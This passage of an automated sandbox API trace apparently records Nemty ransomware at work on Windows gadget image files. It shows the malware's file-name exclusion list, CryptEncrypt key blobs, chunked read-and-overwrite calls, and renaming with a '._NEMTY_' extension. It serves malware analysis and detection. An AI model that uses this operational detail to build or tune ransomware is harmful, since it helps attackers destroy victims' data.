(lpString1="settings_left_disabled.png", lpString2="boot.ini") returned 1 [0119.931] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="AUTOEXEC.BAT") returned 1 [0119.931] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="ntuser.dat") returned 1 [0119.931] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="desktop.ini") returned 1 [0119.931] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="CONFIG.SYS") returned 1 [0119.931] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="RECYCLER") returned 1 [0119.931] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="BOOTSECT.BAK") returned 1 [0119.931] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="bootmgr") returned 1 [0119.931] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="programdata") returned 1 [0119.931] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="appdata") returned 1 [0119.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_disabled.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0119.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0119.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_disabled.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_disabled.png", lpUsedDefaultChar=0x0) returned 26 [0119.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0119.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0119.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_disabled.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0119.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0119.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_disabled.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_disabled.png", lpUsedDefaultChar=0x0) returned 26 [0119.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0119.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0119.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_disabled.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0119.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0119.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_disabled.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_disabled.png", lpUsedDefaultChar=0x0) returned 26 [0119.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_disabled.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0119.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0119.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_disabled.png", cchWideChar=26, lpMultiByteStr=0x4f9ed08, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_disabled.png", lpUsedDefaultChar=0x0) returned 26 [0119.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340298 [0119.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0119.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401e0 [0119.932] Sleep (dwMilliseconds=0x5) [0119.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfb23f110, dwHighDateTime=0x1d561e7)) [0119.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfb23f110, dwHighDateTime=0x1d561e7)) [0119.946] GetLastError () returned 0x5 [0119.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.946] GetLastError () returned 0x5 [0119.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0119.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0119.946] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0119.946] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0119.947] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0119.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340350 [0119.947] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340350, pcchString=0x653e91c | out: pszString="t+hH1/N+tM6+N2x/0n8WKPz5wGz5wTyZMMM9tuoJoolEimA104rMyNBdYaW/yVbh\r\nYxWvxI2gbx/b4+S44fKlmOiY0G4zNlm9UzVBWEUnQGkMbmlS+/wo320FUgvvDhn3\r\nWq1JBVnV3r6rAbB9haMZrMwdNVj8dZx8BAznsFsuNFT1+mlRkvIkVUfuACc0cGU8\r\nDzTRezJlhtmFx2ptlKO8Yvczg/jvfI+wtVsopPjjVg5zMRJVgpYyHDwdh12PxYNa\r\njGYDXxHnAhuUTXrTLTv5OaESMcqffe4LRaiGZp2Qty59ddK8xfRkmygc6JcSZkIT\r\nMTIltwPfLFGuOQlSKdAXJA==\r\n", pcchString=0x653e91c) returned 1 [0119.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0119.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0119.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0119.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0119.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340350 [0119.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0119.947] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_disabled.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_disabled.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.948] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0119.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0119.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.948] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.957] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.957] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.968] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.968] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.978] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.978] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.988] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.988] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.997] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.997] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.007] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.007] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.016] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.016] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.026] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.026] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.035] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.035] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.044] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.045] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.050] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.051] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.051] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.058] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.058] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.058] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.058] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340350, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0120.058] CloseHandle (hObject=0xffffffff) returned 0 [0120.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404c0 [0120.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0120.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0120.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0120.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0120.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0120.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0120.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0120.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0120.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0120.058] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_disabled.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_disabled.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_disabled.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_disabled.png._nemty_kgobjgd_")) returned 0 [0120.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0120.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0120.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0120.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0120.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0120.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0120.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0120.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0120.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0120.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.059] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82de3bb2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82de3bb2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b2d301, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings_left_hover.png", cAlternateFileName="")) returned 1 [0120.059] lstrcmpiW (lpString1="settings_left_hover.png", lpString2=".") returned 1 [0120.059] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="..") returned 1 [0120.059] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="...") returned 1 [0120.059] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="windows") returned -1 [0120.059] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="$RECYCLE.BIN") returned 1 [0120.059] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="rsa") returned 1 [0120.059] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="NTDETECT.COM") returned 1 [0120.059] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="ntldr") returned 1 [0120.059] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="MSDOS.SYS") returned 1 [0120.059] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="IO.SYS") returned 1 [0120.059] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="boot.ini") returned 1 [0120.059] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="boot.ini") returned 1 [0120.059] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="AUTOEXEC.BAT") returned 1 [0120.059] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="ntuser.dat") returned 1 [0120.059] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="desktop.ini") returned 1 [0120.059] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="CONFIG.SYS") returned 1 [0120.059] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="RECYCLER") returned 1 [0120.059] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="BOOTSECT.BAK") returned 1 [0120.059] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="bootmgr") returned 1 [0120.059] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="programdata") returned 1 [0120.059] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="appdata") returned 1 [0120.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0120.059] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_hover.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0120.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.059] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_hover.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_hover.png", lpUsedDefaultChar=0x0) returned 23 [0120.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0120.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_hover.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0120.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_hover.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_hover.png", lpUsedDefaultChar=0x0) returned 